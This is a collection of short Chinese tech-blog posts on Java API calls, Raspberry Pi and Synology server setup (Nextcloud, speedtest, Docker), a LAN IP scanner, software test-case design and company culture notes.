注意: 标签和标签一样也是一个空标签,所以只有一个开始标签,没有结束标签。 标签的在浏览器中的默认样式线条比较粗,颜色为灰色,可能有些人觉得这种样式不美观,没有关系,这些外在样式在我们以后学习了css样式表之后,都可以对其修改。 大家注意,现在一般使用 xhtml1.0 的版本(其它标签也是),这种版本比较规范。 赏 ### Java调用高德Api 登陆高德API官网,注册,申请Key 官网地址:http://lbs.amap.com Elipse 输入下面代码 注意要在URL上输入自己申请的Key package com.saiita.util;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import java.net.URL;import java.nio.charset.Charset;import org.json.JSONException;import org.json.JSONObject;public class Test { private static String readAll(Reader rd) throws IOException { StringBuilder sb = new StringBuilder(); int cp; while ((cp = rd.read()) != -1) { sb.append((char) cp); } return sb.toString(); } public static JSONObject readJsonFromUrl(String url) throws IOException, JSONException { InputStream is = new URL(url).openStream(); try { BufferedReader rd = new BufferedReader(new InputStreamReader(is, Charset.forName("UTF-8"))); String jsonText = readAll(rd); JSONObject json = new JSONObject(jsonText); return json; } finally { is.close(); // System.out.println("同时 从这里也能看出 即便return了,仍然会执行finally的!"); } } public static void main(String[] args) throws IOException, JSONException { //这里调用高德的驾车规划api服务 详见 http://lbs.amap.com/api/webservice/summary/ JSONObject json = readJsonFromUrl("http://restapi.amap.com/v3/direction/walking?key=申请的Key&origin=116.481028,39.989644&destination=116.434446,39.90816"); System.out.println(json.toString()); System.out.println(((String) json.get("info"))); } } 运行 就会得到下面结果 {"route":{"paths":[{"duration":"8999","distance":"11249","steps":[{"duration":"10","assistant_action":[],"orientation":"西南","distance":"13","road":[],"instruction":"向西南步行13米左转","action":"左转","walk_type":"0","polyline":"116.481003,39.989311;116.480957,39.989265;116.480957,39.989265;116.480904,39.98922"},{"duration":"240","assistant_action":[],"orientation":"东南","distance":"300","road":"阜荣街","instruction":"沿阜荣街向东南步行300米右转","action":"右转","walk_type":"0","polyline":"116.480904,39.989212;116.480949,39.989185;116.481247,39.988991;116.481415,39.988888;116.481415,39.988888;116.481445,39.988865;116.481445,39.988865;116.482567,39.988125;116.483414,39.987583;116.483467,39.987404"},{"duration":"246","assistant_action":[],"orientation":"西南","distance":"308","road":"望京东路","instruction":"沿望京东路向西南步行308米左转","action":"左转","walk_type":"0","polyline":"116.483467,39.9874;116.483414,39.987354;116.483414,39.987354;116.482811,39.986816;116.482025,39.986088;116.482025,39.986088;116.481354,39.985489;116.481354,39.985489;116.481285,39.985435;116.481285,39.985435;116.481148,39.985275"},{"duration":"130","assistant_action":[],"orientation":"东南","distance":"162","road":"广顺南大街","instruction":"沿广顺南大街向东南步行162米右转","action":"右转","walk_type":"0","polyline":"116.481148,39.985271;116.481247,39.985203;116.481247,39.985203;116.48127,39.985092;116.482162,39.984493;116.482162,39.984493;116.482498,39.984257"},{"duration":"1022","assistant_action":[],"orientation":"西南","distance":"1278","road":"京密路","instruction":"沿京密路向西南步行1278米向右前方行走","action":"向右前方行走","walk_type":"0","polyline":"116.482498,39.984253;116.48246,39.984219;116.48217,39.983974;116.481659,39.983494;116.481659,39.983494;116.481239,39.983086;116.480728,39.982643;116.479652,39.981667;116.479652,39.981667;116.478668,39.980797;116.478096,39.98027;116.478096,39.98027;116.47802,39.980206;116.47802,39.980206;116.477982,39.980164;116.477982,39.980164;116.477699,39.979889;116.477585,39.979782;116.477211,39.979435;116.477211,39.979435;116.476852,39.979115;116.476852,39.979115;116.47673,39.979;116.47673,39.979;116.476044,39.97839;116.476044,39.97839;116.475113,39.977551;116.475113,39.977551;116.475105,39.977543;116.475105,39.977543;116.475029,39.977482;116.475029,39.977482;116.474312,39.976822;116.474312,39.976822;116.473885,39.976433;116.473885,39.976433;116.473289,39.975895;116.473289,39.975895;116.472763,39.97543"},{"duration":"302","assistant_action":[],"orientation":"西南","distance":"377","road":"京密路辅路","instruction":"沿京密路辅路向西南步行377米直行","action":"直行","walk_type":"0","polyline":"116.472763,39.975426;116.472214,39.975147;116.471886,39.974888;116.47139,39.974434;116.47139,39.974434;116.471161,39.97427;116.470993,39.974159;116.470642,39.973961;116.470345,39.973831;116.469994,39.97369;116.46978,39.973633;116.469208,39.973507"},{"duration":"290","assistant_action":[],"orientation":"西南","distance":"362","road":"北四环东路辅路","instruction":"沿北四环东路辅路向西南步行362米直行","action":"直行","walk_type":"0","polyline":"116.469208,39.973503;116.468994,39.973499;116.468834,39.973476;116.468613,39.973438;116.468498,39.973408;116.468399,39.973358;116.468285,39.973282;116.467834,39.972916;116.467834,39.972916;116.467033,39.972218;116.467033,39.972218;116.466705,39.971893;116.466637,39.971806;116.466614,39.971741;116.466576,39.971649;116.466568,39.971561;116.466568,39.971264"},{"duration":"254","assistant_action":[],"orientation":"南","distance":"318","road":"京密路辅路","instruction":"沿京密路辅路向南步行318米直行","action":"直行","walk_type":"0","polyline":"116.466568,39.971252;116.466553,39.971039;116.466522,39.970844;116.466461,39.970634;116.466354,39.970364;116.466278,39.970181;116.46611,39.969921;116.46611,39.969921;116.465965,39.96973;116.46579,39.969513;116.46563,39.969357;116.465599,39.969318;116.465599,39.969318;116.465523,39.969196;116.465446,39.969044;116.465225,39.968624"},{"duration":"1108","assistant_action":[],"orientation":"西南","distance":"1385","road":"京密路","instruction":"沿京密路向西南步行1385米直行","action":"直行","walk_type":"0","polyline":"116.465218,39.968613;116.464951,39.968372;116.464951,39.968372;116.464783,39.968212;116.464783,39.968212;116.464462,39.96793;116.464462,39.96793;116.462814,39.966434;116.462814,39.966434;116.462753,39.966381;116.462753,39.966381;116.4617,39.965416;116.4608,39.964596;116.4608,39.964596;116.460121,39.963982;116.460121,39.963982;116.459999,39.963863;116.459999,39.963863;116.459496,39.963428;116.459412,39.963341;116.459412,39.963341;116.459129,39.963093;116.459129,39.963093;116.458076,39.962139;116.458076,39.962139;116.457954,39.962021;116.457954,39.962021;116.457916,39.96199;116.457916,39.96199;116.457359,39.961475;116.457359,39.961475;116.457314,39.96143;116.457314,39.96143;116.45694,39.961113;116.45694,39.961113;116.456764,39.960964;116.456764,39.960964;116.456657,39.960884;116.456657,39.960884;116.456299,39.96064;116.456299,39.96064;116.456047,39.960472;116.455719,39.960297;116.455536,39.960213;116.455536,39.960213;116.454765,39.959839;116.45459,39.959747;116.454437,39.959652;116.454185,39.95945"},{"duration":"1730","assistant_action":[],"orientation":"西南","distance":"2162","road":"香河园路","instruction":"沿香河园路向西南步行2162米右转","action":"右转","walk_type":"0","polyline":"116.454178,39.959438;116.453575,39.958893;116.453575,39.958893;116.453392,39.958733;116.453392,39.958733;116.453041,39.958412;116.453041,39.958412;116.452881,39.958263;116.452881,39.958263;116.452232,39.95768;116.452232,39.95768;116.452194,39.95763;116.450989,39.956551;116.450989,39.956551;116.45089,39.956463;116.45089,39.956463;116.450874,39.956444;116.450874,39.956444;116.450668,39.956284;116.450668,39.956284;116.450516,39.95615;116.450516,39.95615;116.45034,39.955994;116.45034,39.955994;116.449989,39.955704;116.449989,39.955704;116.44915,39.954922;116.44915,39.954922;116.448853,39.954639;116.448311,39.954174;116.448311,39.954174;116.447617,39.95364;116.447617,39.95364;116.447571,39.953609;116.447571,39.953609;116.447014,39.953205;116.447014,39.953205;116.445847,39.952312;116.445847,39.952312;116.445297,39.951935;116.445297,39.951935;116.444717,39.951523;116.444717,39.951523;116.444145,39.951138;116.444145,39.951138;116.442566,39.949978;116.442566,39.949978;116.442207,39.949703;116.442207,39.949703;116.441216,39.948971;116.441216,39.948971;116.441132,39.948906;116.441132,39.948906;116.440948,39.948765;116.440498,39.94838;116.440498,39.94838;116.439949,39.947922;116.439949,39.947922;116.439552,39.94759;116.439209,39.947269;116.439209,39.947269;116.438995,39.947048;116.438995,39.947048;116.438843,39.94688;116.438843,39.94688;116.438576,39.946587;116.438576,39.946587;116.438469,39.946449;116.438469,39.946449;116.43821,39.946163;116.43821,39.946163;116.437927,39.945789;116.437683,39.945435;116.437347,39.944893;116.437347,39.944893;116.43734,39.944847"},{"duration":"226","assistant_action":[],"orientation":"西","distance":"283","road":"香河园路","instruction":"沿香河园路向西步行283米左转","action":"左转","walk_type":"0","polyline":"116.437332,39.944839;116.435966,39.944836;116.434563,39.944839;116.434563,39.944839;116.434448,39.944839;116.434448,39.944839;116.434006,39.944832"},{"duration":"279","assistant_action":[],"orientation":"南","distance":"349","road":"东直门北大街","instruction":"沿东直门北大街向南步行349米左转","action":"左转","walk_type":"0","polyline":"116.433998,39.944828;116.434052,39.944759;116.434052,39.944431;116.434052,39.944431;116.434052,39.944336;116.434052,39.944336;116.434044,39.943916;116.434044,39.943916;116.434036,39.943382;116.434036,39.943302;116.433945,39.943222;116.433945,39.943222;116.433914,39.943146;116.433914,39.943108;116.433899,39.942921;116.433914,39.942612;116.433914,39.942612;116.433952,39.941711"},{"duration":"33","assistant_action":[],"orientation":[],"distance":"41","road":[],"instruction":"步行41米右转","action":"右转","walk_type":"20","polyline":"116.433945,39.941708;116.434052,39.941708;116.434059,39.94141"},{"duration":"36","assistant_action":[],"orientation":"西","distance":"45","road":"东直门桥","instruction":"沿东直门桥向西步行45米右转","action":"右转","walk_type":"0","polyline":"116.434059,39.941406;116.433868,39.941406;116.433525,39.941399"},{"duration":"27","assistant_action":[],"orientation":[],"distance":"34","road":[],"instruction":"步行34米右转","action":"右转","walk_type":"20","polyline":"116.433517,39.941395;116.43351,39.941662;116.433556,39.941662"},{"duration":"51","assistant_action":[],"orientation":"南","distance":"64","road":"东直门北大街","instruction":"沿东直门北大街向南步行64米","action":[],"walk_type":"0","polyline":"116.433556,39.941662;116.433578,39.94109"},{"duration":"593","assistant_action":[],"orientation":"南","distance":"741","road":"东直门南大街","instruction":"沿东直门南大街向南步行741米","action":[],"walk_type":"0","polyline":"116.433578,39.941086;116.433617,39.940491;116.433617,39.940491;116.433655,39.939613;116.433655,39.939613;116.433655,39.938828;116.433655,39.938828;116.433678,39.938187;116.433678,39.938187;116.433685,39.937706;116.433685,39.937706;116.433708,39.937584;116.433708,39.937462;116.433708,39.937462;116.433716,39.937164;116.433716,39.937164;116.433739,39.936714;116.433739,39.936714;116.433762,39.936329;116.433762,39.936329;116.433769,39.936134;116.433769,39.936134;116.433807,39.93568;116.433807,39.93568;116.433823,39.935169;116.43383,39.935146;116.43383,39.935146;116.433868,39.934357"},{"duration":"257","assistant_action":[],"orientation":"南","distance":"321","road":"东直门南大街","instruction":"沿东直门南大街向南步行321米直行","action":"直行","walk_type":"0","polyline":"116.433868,39.934345;116.433922,39.933125;116.433922,39.933125;116.433968,39.932228;116.433968,39.932228;116.433975,39.932083;116.433975,39.93177;116.433975,39.931675;116.433929,39.931454"},{"duration":"414","assistant_action":[],"orientation":"南","distance":"517","road":"朝阳门北大街","instruction":"沿朝阳门北大街向南步行517米直行","action":"直行","walk_type":"0","polyline":"116.433929,39.93145;116.433952,39.931107;116.433952,39.931107;116.433952,39.931061;116.433952,39.931061;116.433968,39.930843;116.433968,39.930843;116.433968,39.930782;116.433968,39.930782;116.433975,39.930668;116.433975,39.930668;116.433998,39.930225;116.433998,39.930225;116.434036,39.929554;116.434036,39.929554;116.434036,39.929497;116.434036,39.929497;116.434052,39.928902;116.434052,39.928902;116.434097,39.928295;116.434097,39.928295;116.434113,39.927544;116.434113,39.927544;116.434135,39.927319;116.434143,39.927063;116.434143,39.927063;116.434151,39.926994;116.434151,39.926994;116.434158,39.92675"},{"duration":"185","assistant_action":[],"orientation":[],"distance":"231","road":"朝阳门桥","instruction":"沿朝阳门桥步行231米左转","action":"左转","walk_type":"0","polyline":"116.434158,39.926746;116.434097,39.926529;116.434097,39.926529;116.434036,39.926224;116.434036,39.926037;116.434082,39.925613;116.434082,39.925613;116.434097,39.925064;116.43409,39.924755;116.43409,39.924755;116.434196,39.924755"},{"duration":"29","assistant_action":[],"orientation":[],"distance":"36","road":[],"instruction":"步行36米右转","action":"右转","walk_type":"20","polyline":"116.434196,39.924759;116.434196,39.925018;116.434273,39.925018"},{"duration":"236","assistant_action":[],"orientation":"南","distance":"295","road":"朝阳门北大街","instruction":"沿朝阳门北大街向南步行295米直行","action":"直行","walk_type":"0","polyline":"116.434288,39.925018;116.434311,39.924129;116.434326,39.923882;116.434326,39.923882;116.434357,39.923271;116.434364,39.922577;116.434364,39.922577;116.434372,39.922348"},{"duration":"586","assistant_action":[],"orientation":"南","distance":"732","road":"朝阳门南大街","instruction":"沿朝阳门南大街向南步行732米直行","action":"直行","walk_type":"0","polyline":"116.434372,39.92234;116.434364,39.922001;116.434364,39.922001;116.434364,39.921986;116.434364,39.921986;116.43438,39.921516;116.43438,39.921516;116.43438,39.92141;116.43438,39.92141;116.434402,39.921093;116.434402,39.921093;116.434418,39.920681;116.434418,39.920681;116.434425,39.920303;116.434425,39.920303;116.434471,39.919453;116.434471,39.919453;116.434509,39.918636;116.434509,39.918636;116.434532,39.917988;116.434532,39.917988;116.434532,39.917969;116.434563,39.917244;116.434563,39.917244;116.43457,39.916912;116.43457,39.916912;116.434593,39.916492;116.434593,39.916492;116.434601,39.916298;116.434601,39.916298;116.434631,39.915798;116.434631,39.915798;116.434631,39.915707"},{"duration":"655","assistant_action":[],"orientation":"南","distance":"819","road":"建国门北大街","instruction":"沿建国门北大街向南步行819米直行","action":"直行","walk_type":"0","polyline":"116.434631,39.915699;116.434639,39.915562;116.434639,39.915562;116.434647,39.915421;116.434647,39.915421;116.434654,39.915081;116.434654,39.915081;116.434654,39.914951;116.434654,39.914951;116.434692,39.91428;116.434692,39.91428;116.434738,39.913879;116.434738,39.913879;116.434753,39.913551;116.434753,39.913551;116.434761,39.91349;116.434761,39.91349;116.434784,39.913025;116.434784,39.913025;116.434807,39.91251;116.434814,39.912266;116.434814,39.912266;116.434868,39.911217;116.434868,39.911217;116.434906,39.91061;116.434914,39.91011;116.434914,39.91011;116.434959,39.909058;116.434959,39.909058;116.434959,39.909035;116.434952,39.908993;116.434937,39.908932;116.434891,39.908871;116.434891,39.908871;116.43483,39.908726;116.434814,39.908653;116.434814,39.908497;116.43483,39.908428;116.434868,39.90831"},{"duration":"22","assistant_action":[],"orientation":"东南","distance":"28","road":"建国门南大街","instruction":"沿建国门南大街向东南步行28米右转","action":"右转","walk_type":"0","polyline":"116.434868,39.908302;116.434975,39.908195;116.434998,39.908142;116.435005,39.908104;116.435005,39.908081"},{"duration":"38","assistant_action":"到达目的地","orientation":[],"distance":"48","road":[],"instruction":"步行48米到达目的地","action":[],"walk_type":"0","polyline":"116.435005,39.90807;116.434456,39.90807"}]}],"origin":"116.481028,39.989644","destination":"116.434446,39.90816"},"count":"1","infocode":"10000","status":"1","info":"ok"}ok ### 最新 Ubuntu 树莓派安装speedtest测网速 Speedtest Speedtest是Ookla推出的一款基于全球视图的可视化网速测试工具。与众不同的是它可以在一个世界地图上来选择指定的测试服务器,用绿色三角标记的是建议用来测速的服务器,白点标记的是可用测试点服务器。测试的结果显示了你连接到此服务器的上传及下载速率,网络延时等信息。 安装speedtest-cli wget https://raw.github.com/sivel/speedtest-cli/master/speedtest_cli.py chmod a+rx speedtest_cli.py sudo mv speedtest_cli.py /usr/local/bin/speedtest-cli sudo chown root:root /usr/local/bin/speedtest-cli 使用speedtest-cli测试网速 speedtest输入玩命令行后,speedtest就开始运行了。 嫌安装太麻烦也可以,打开浏览器输入speeptest.net来测试网速。 ### 树莓派安装nextcloud个人私有云服务器 刚开始接触的是owncloud+nginx,后来发现owncloud母公司倒闭了,怪不得用起来感觉怪怪的少了一点什么,就转用了nextcloud,毕竟nextcloud后面还会继续更新的嘛。 第一次搭建的owncloud,用的是Nginx,搭建起来倒是挺快。使用的时候出现很多问题,上传图片和文件的时候,提示可用文件0kb,插件安装启动出错,把上传文件的限制调到了512m,data文件设置成777,也解决不了问题。然后上网百度去找各种教程,发现都是抄来抄去的,解决不了问题。 后来用了apache2来搭建nextcloud,上述问题神奇的消失了。估计应该是Nginx哪里的文件权限配置出错了,百度,bing,360找了一遍解决不了,苦逼,折腾了3天了. 好了吐糟完,接下来就是怎么在本地的树莓派上搭建nextcloud私有云吧,也算是折腾的总结,万一时间久了忘记了呢. 安装mysql-server 安装的过程中会设置密码 进入mysql 创建数据库名 查看数据名称 查看数据名称 安装PHP7.0 关于PHP7.0相关模块都安装了吧,这样省心. 安装apache2 下载nextcloud 解压 复制nextcloud文件夹,我复制到的是/var/www/文件夹下 准备工作已经做完下面就是配置问题 进入nextcloud文件夹下面,创建data文件夹,作用是用来存储上传的文件的. 配置文件夹权限 不配置文件权限的话,网页打开会报404或者是403错误,原因是网页打开没有权限进入文件夹,就找不到nextclod的index.php 配置apache2绑定域名 树莓派系统的路径是/etc/apache2/sites-enabled/.其他系统可能会不一样 先删除原来的配置文件 用vim 创建nextcloud.saiita.cn.conf,apache2可以绑定其他或者二级的域名.创建不同的配置文件夹就可以了. 输入下面信息 保存退出 在网页上输入nextcloud.saiita.cn 配置管理员账号 输入账号密码 点击下面的数据配置 输入 mysql账号 root 数据库密码 输入上面创建的数据名:nextcloud 下面的不需要填写 配置完进入.大功告成. ### 树莓派Opencv eclipse Java环境配置 安装ant sudo apt-get install an 运行cmake 要自己查看/usr/lib/jvm文件下面的JDK文件夹名称 export JAVA_HOME=/usr/lib/jvm/jjdk-8-oracle-arm32-vfp-hflt#这必须添加cmake -D CMAKE_BUILD_TYPE=RELEASE -D CMAKE_INSTALL_PREFIX=/usr/local -DBUILD_TESTS=OFF .. make make -j8sudomake install 打开eclipse,导入OpenCV JAVA工程(/OpenCV/samples/java/eclipse/HelloCV) 点击工程右键 Buile Path–>Configure Build Path…–>JRE System Library[JavaSE-1.7] 双击 找到Native library location,点击左边的Edit(编辑),点击左边的External Folder… 选择/usr/local/share/OpenCV/java,点击OK 运行Java ### 使用正交排列法设计测试用例 什么是n阶拉丁方 用n个不同的拉丁字母排成一个n阶方阵(n<26),如果每行的n个字母均不同,每列的n个字母都不同,则称这种方阵为n*n拉丁方,或n阶拉丁方 每个字母在任一方,任一列中出现一次 此时可以用数字代替拉丁字母,他们是等价的 什么是正交拉丁方 设有两个n阶的拉丁方,他们将叠合在一起,恰好出n2个不同的有序数对,则称为这两个拉丁方为互相正交的拉丁方,简称正交拉丁方 正交排列法概述 正交排列法能够使用最小的测试过程集合获得最大的测试覆盖。当可能的输入数据或者输入数据组合数量很大时,由于不可能为每个输入组合都创建测试用例,可以采用这种方法。 应用场景 在一个界面中,有多个控件,每个控件有多个取值的组合数量很大,不可能为每一种组合编写一条用例。如何使用最少最优的组合进行测试(正交排列法) 由于组合量太大,不可能为每个组合都创建测试用例 ,如何采用最少的测试用例集合获得最大的测试覆盖率---采用正交排列法 区别: 判断表(因果图)也是考虑控件组合,但是组合数量较少。而且要求测试全面 正交表 正交表:一种特制的表,一般的正交表记为 n是表的行数,也是需要测试组合的次数 k是表的列数,表示控件的个数 m是每个控件包含的取值个数 使用正交表排列法分析程序 分析需求(把控件及其取值列举出来) 根据控件和控件的取值个数,选择一个合适的正交表根据控件的个数,选择正交表的次幂(正交表的列输)根据控件取值的个数,选择正交表的低,也就是正交表中包含数的最大值把控件及其取值映射道正交表中 根据正交表,编写用例(把正交表的一行转换成一条用例)说明:使用正交表设计的用例是最少最优化的用例,如果时间允许,再补充用例 ### 因果图法概述 在一个功能模块或一个界面中,往往会有多个控件,这些控件一般会有一定的制约关系或者组合关系,并且输出依赖于输入的条件。 如果只是单独去测每个控件,往往使测试有很多冗余数据。同事又会造成测试的不全面,遗漏一些数据,这样,在设计测试用例时,可以使用因果图法,考虑这些输入的组合以及输出对输入的依赖关系。 应用场合在一个界面中,有多个控件,测试的时候考虑控件的组合关系,不同控件组合会产生不同的输出结果组合,为了弄清什么样的输入组合产生什么样的输出组合,使用因果图法 因果图的核心因----原因(输入条件)果----结果(输出结果)使用图形的方式,分析软件输入和输出的对应关系 图像符号基本图形符号---表示输入和输出的对应关系约束符号(限制条件),要不然单独限制输入,或者单独限制输出 使用因果图法分析程序找出所以的原因,编号 ### 用例的优化(等价类) 对于不同控件的有效等价类及有效的边界值,可以尽可能在一条用例中进行测试---不同控件的有效等价类(边界)可以组合。减少用例数量 在一条用例中,先一次只测试一个控件的无效等价类---无效等价类在开始的时候不能组合(避免屏蔽的现象发生) 屏蔽现象:前面控件的错误提示错误出现,后面控件的错误提示就不出现了 最后可以在适当考虑无效等价类的组合---验证软件处理极端数据的能力 ### 测试用例的标准 基本要求 在编写一条测试用例时,要求步骤描述清晰,准确,易懂,预期结果明确 检验标准 写完用例后,让比尔照着自己的用例去执行测试,可以顺畅的之下下来 高标准要求 测试用例写的有条理,逻辑性强可以按照功能点分类,操作顺序等逻辑编写,而不要一会测试这一会测试哪里 功能覆盖全面,深入,能够发现软件中更多的缺陷 检验标准 能把软件中的BUG尽可能的发现,按照测试用例测试完的软件,遗漏的缺陷最少-要求测试人员最终达到的目标,是一个需求长期的练习,积累的过程 ### 边界值方法设计测试用例(二) 边界值 应用场合 只要有数据输入的地方,有效无效数据的分界点,需要单独拿出来测试 有数据范围的 数据字符个数要求 边界值一般和等价类方法一起应用,找到有效无效数据的分界点(最大值进和最小值)及其两边的点进行测试,形成一套完成的测试方法 如何解决这类问题 找到测试数据的边界点,也就是有效等价类和无效等价类的边界点,对边界点数据专门进行测试 一般情况下,需要对边界值以及边界值两端的数据进行测试 如何使用 把边界值的点单独写用例、 小结:测试用例的用途 防止遗漏:使软件测试的实施重点突出,目的明确,确保需求功能不一楼 版本重复测试:快速正确的进行版本重复测试 监督过程:可以准确,有效的评估测试的工作量 评估结果:对产品进行评估,对测试完成情况进行评价 提供效率:避免盲目测试 缩短周期:版本更新和升级,只需要修正少部分测试用例,资源复用 注意 在编写测试用例之前,还要明确项目对测试用例的具体要求测试用例编号如何命名测试用例应该提交到什么地方测试用例中用到的附件命名规定,存放位置 测试用例是需要更新和维护的,是一个不断修改完善的过程 测试用例需要正式的评审 测试用例覆盖系统的程度决定测试的覆盖程度 ### 解决WordPress网站出现No input file specified问题 不小心删除了网站根目录,恢复后重新修改了根目录的文件名,差点恢复不了? 解决方法: 删除.user.ini文件 原因: 修改了文件路径,找不到文件路径 ### 更换Let's Encrypt后,Web服务器提示不安全的连接,打开网页失败 之前用的是阿里云免费一年的HTTPS,后面更换了Let's Encrypt证书后,经常打不开网页。 有可能是之前的HTTPS过期后,没删除证书。 现在已经删除证书。在观察一段时间。 换回阿里云免费证书。打不开的问题暂时没有了。 ### Java 项目所需的包 包名描述所属层次xx.xx.domain存放系统的JavaBean类(只包含简单的属性以及属性对应的get和set方法,不包含具体的业务处理方法),提供给【数据访问层】、【业务处理层】、【Web层】来使用domain(域模型)层xx.xx.xx.dao存放访问数据库的操作接口类数据访问层xx.xx.dao.impl存放访问数据库的操作接口的实现类xx.xx.service存放处理系统业务接口类业务处理层xx.xx.service.impl存放处理系统业务接口的实现类xx.xx.web.controller存放作为系统控制器的ServletWeb层(表现层)xx.xx.web.UI存放为用户提供用户界面的servlet(UI指的是user interface)xx.xx.web.filter存放系统的用到的过滤器(Filter)xx.xx.web.listener存放系统的用到的监听器(Listener)xx.xx.util存放系统的通用工具类,提供给【数据访问层】、【业务处理层】、【Web层】来使用 junit.test存放系统的测试类 ### 戴尔720xd服务器3rd_pci全速砖问题修改unmatched_logic的方法 1)如下图,勾选 Enable IPMI over LAN 这一项,并点 Apply 保存  针对13G接3rd PCI设备全速转问题修改Unmatched Logic参数的方法 2) 此操作需要连接iDRAC,请确保您已配置并能正常连上iDRAC; 如您未使用过iDRAC,请参考文章末尾【iDRAC物理连接及配置】; 3) 登录到iDRAC web界面后,请开启IPMI over Lan; 具体请参考附件文档《iDRAC界面开启IPMI over Lan.pdf》; 4) 退出iDRAC web界面,执行脚本以自动修改IDRAC 8 Unmatched Logic参数: 1)下载附件【ipmi_dell.rar】,解压到管理机一个全英文目录下,解压密码dell; 2)使用管理员权限运行【uld_disabled.exe】,此时会弹出窗口输入执行密码,密码是support; 3)然后根据提示操作,期间会要求您输入iDRAC IP/用户名/密码,这个和网页登录iDRAC用的iDRAC IP/用户名/密码都是一样的; ### 前6位1到33的数字(不重复),最大33,第七位最大11 public class num { static int k = 0; public static void main(String[] args) { // 第n int a[] = new int[33]; for (int b = 0; b < 33; b++) { a[b] = b + 1; } permutations(a, 0, 5); } public static void permutations(int[] a, int m, int n) { if (m == n) { k++; System.out.println("第" + k + "组:"); for (int j = 1; j <= 11; j++) { System.out.println("前6位数"); for (int i = 0; i <= n; i++) { System.out.print( a[i]+" " ); } System.out.print("第7位数:"+j+"n"); } System.out.println(); } else { for (int i = 0; i < 33; i++) { int temp = a[m]; a[m] = a[i]; a[i] = temp; permutations(a, m + 1, n); temp = a[m]; a[m] = a[i]; a[i] = temp; } } } } ### Eclipse提交代码到Gitlab报/users/sign_in not allowed 解决方法 1)检查是否提交代码文件 2)检查连接方式是http,还是SSH,检查http端口是否正确 解决方法 ### npm 错误码 EMISSINGARG npm install npm -g -f ### Java 扫描局域网IP import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.InetAddress; public class IP { public static void main(String[] args) { // TODO Auto-generated method stub try { //Runtime.getRuntime().exec("ping 192.168.1.1").destroy(); //Runtime.getRuntime().exec("for /l %i in (1,1,255) do " + // "(ping -w 2 -n 1 192.168.1.%i)").destroy(); String localIP=InetAddress.getLocalHost().getHostAddress(); String[] net=localIP.split("."); int j=Integer.parseInt(net[2]); for(int i=1;i<256;i++){ Runtime.getRuntime().exec("ping -w 2 -n 1 192.168."+j+"."+i).destroy(); } Process p=Runtime.getRuntime().exec("arp -a"); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); br.readLine(); br.readLine(); br.readLine(); String temp=null; while(((temp=br.readLine())!=null&&!temp.isEmpty())){ System.out.println(temp.trim().split(" ")[0]); } //String localIP=InetAddress.getLocalHost().getHostAddress(); //String[] net=localIP.split("."); //System.out.println(net[2]); //System.out.println(InetAddress.getLocalHost().getHostAddress()); p.destroy(); br.close(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } ### Lightroom怎么编辑视频 1)导入视频 2)设置捕获帧 3)选择捕获帧的图片 4)修改图片 5)修改图片后进行同步 选择捕获帧+视频,点击同步设置、 ### 软通动力企业文化学习总结(十大准则-工作方法) 用好工作“五段法” 确认指令、责任分工、节点把控、问题反馈、成果复盘   ### 软通动力企业文化学习总结(十大准则-信息安全) 人员得信息安全意识   ### 软通动力企业文化学习总结(十大准则-廉洁自律) 公司反腐组织设置   ### 软通动力企业文化学习总结(十大准则-客户服务) 例子一:每日香蕉 例子二:口香糖罐子里放沓纸   ### 软通动力企业文化学习总结(十大准则-费用管理) 差旅费用管理,差旅标准   ### 软通动力企业文化学习总结(十大准则-总结汇报) 总结 一、总结的形式   ### 软通动力企业文化学习总结(十大准则-企业微信) 使用六须知   ### 软通动力企业文化学习总结(十大准则-考勤管理) 1)考勤管理   ### 软通动力企业文化学习总结(十大准则-会议管理) 1)会议管理   ### 软通动力企业文化学习总结(十大纲领) 一、核心价值观 软通动力企业文化行为指导准则,以核心价值观为底层土壤,延展出“十大纲领”(内化于心),“十大准则”(外化于行),从思想指引到行为标准进行了全面的界定,力求简单有效。   ### 群晖docker部署owncloud 1)安装MySQL sudo -i docker pull mysql 2)安装owncloud sudo -i docker pull owncloud 3)docker部署MySQL和owncloud 详细步骤见:https://www.saiita.com.cn/838.html 4)设置路径 5)设置自启动和创建快捷方式 6)设置端口 7)启动容器,然后设置own cloud ### 群晖docker部署MySQL 1)SSH登陆群晖 docker pull mysql 2)打开docker 3)设置root登陆密码 环境添加MYSQL_ROOT_PASSWORD变量,然后填上密码 4)启动MySQL容器 5)点击详情,打开终端机,点击新增、 apt-get update apt-get install net-tools apt-get install vim 6)登陆MySQL添加远程登陆 mysql -u root -p 7)Navicat Premium 15登陆MySQL ### 群晖docker下载加速 路径:注册表-设置-编辑-开启注册表镜像 输入下列URL https://registry.docker-cn.com http://hub-mirror.c.163.com https://3laho3y3.mirror.aliyuncs.com http://f1361db2.m.daocloud.io https://mirror.ccs.tencentyun.com ### 关闭群晖 docker的synology_docviewer容器 进入套件中心,关闭文档查看器。 然后就可以关闭synology_docviewer容器 ### 暂时解决gitlab内存占用过大 解决方法:修改/etc/gitlab/gitlab.rb配置文件 vim /etc/gitlab/gitlab.rb 去掉注释 # unicorn['worker_processes'] = 2 或者改成1 unicorn['worker_processes'] = 1 重启gitlab sudo gitlab-ctl restart 效果 解决原文 ### 功能测试 A/B测试 A/B测试指的是系统测试通过并发布后,同一个软件功能不同的用户会看到不同的实现方式,收集每个用户的反馈。本质上是上线后的测试,收集用户的反馈。 灰度测试 灰度测试指的是系统测试通过后,将测试版本发布到线上环境,替换部分的线上服务器代码进行预测试。 当灰度测试结束后,线上版本实现会统一。本质上是上线前的测试,收集用户的反馈。 软件调试的技术和方法 调试的关键在于推断程序内部的错误位置及原因,可以采用以下方法: 1、分析和推理 设计人员和开发人员根据软件缺陷问题的信息, 分析和推理调试软件。 (1)根据软件程序架构自顶向下缩小定位范围, 确定可能发生问题的软件组件。 (2)根据软件功能,软件运行时序定位软件问题。 (3)根据算法原理,分析和确定缺陷问题发生的 根源。 2、归纳类比法 归纳法是一种从特殊推断一般的系统化思考方法,归纳法调试的基本思想是:从一些线索(错误征兆)着手,通过分析它们之间的关系来找出错误。该方法主要是根据积累的工作经验和案例处理调试工作。 (1)根据工作经验和比对程序设计中类似问题的 处理方式进行调试工作。 (2)咨询相关部门和有经验的相关人员。 (3)查找相关文档和案例,为处理问题提供思路 和方法。 在软件开发过程中,通常对每个缺陷问 题进行跟踪管理,将解决问题的方案和过程详细记录。 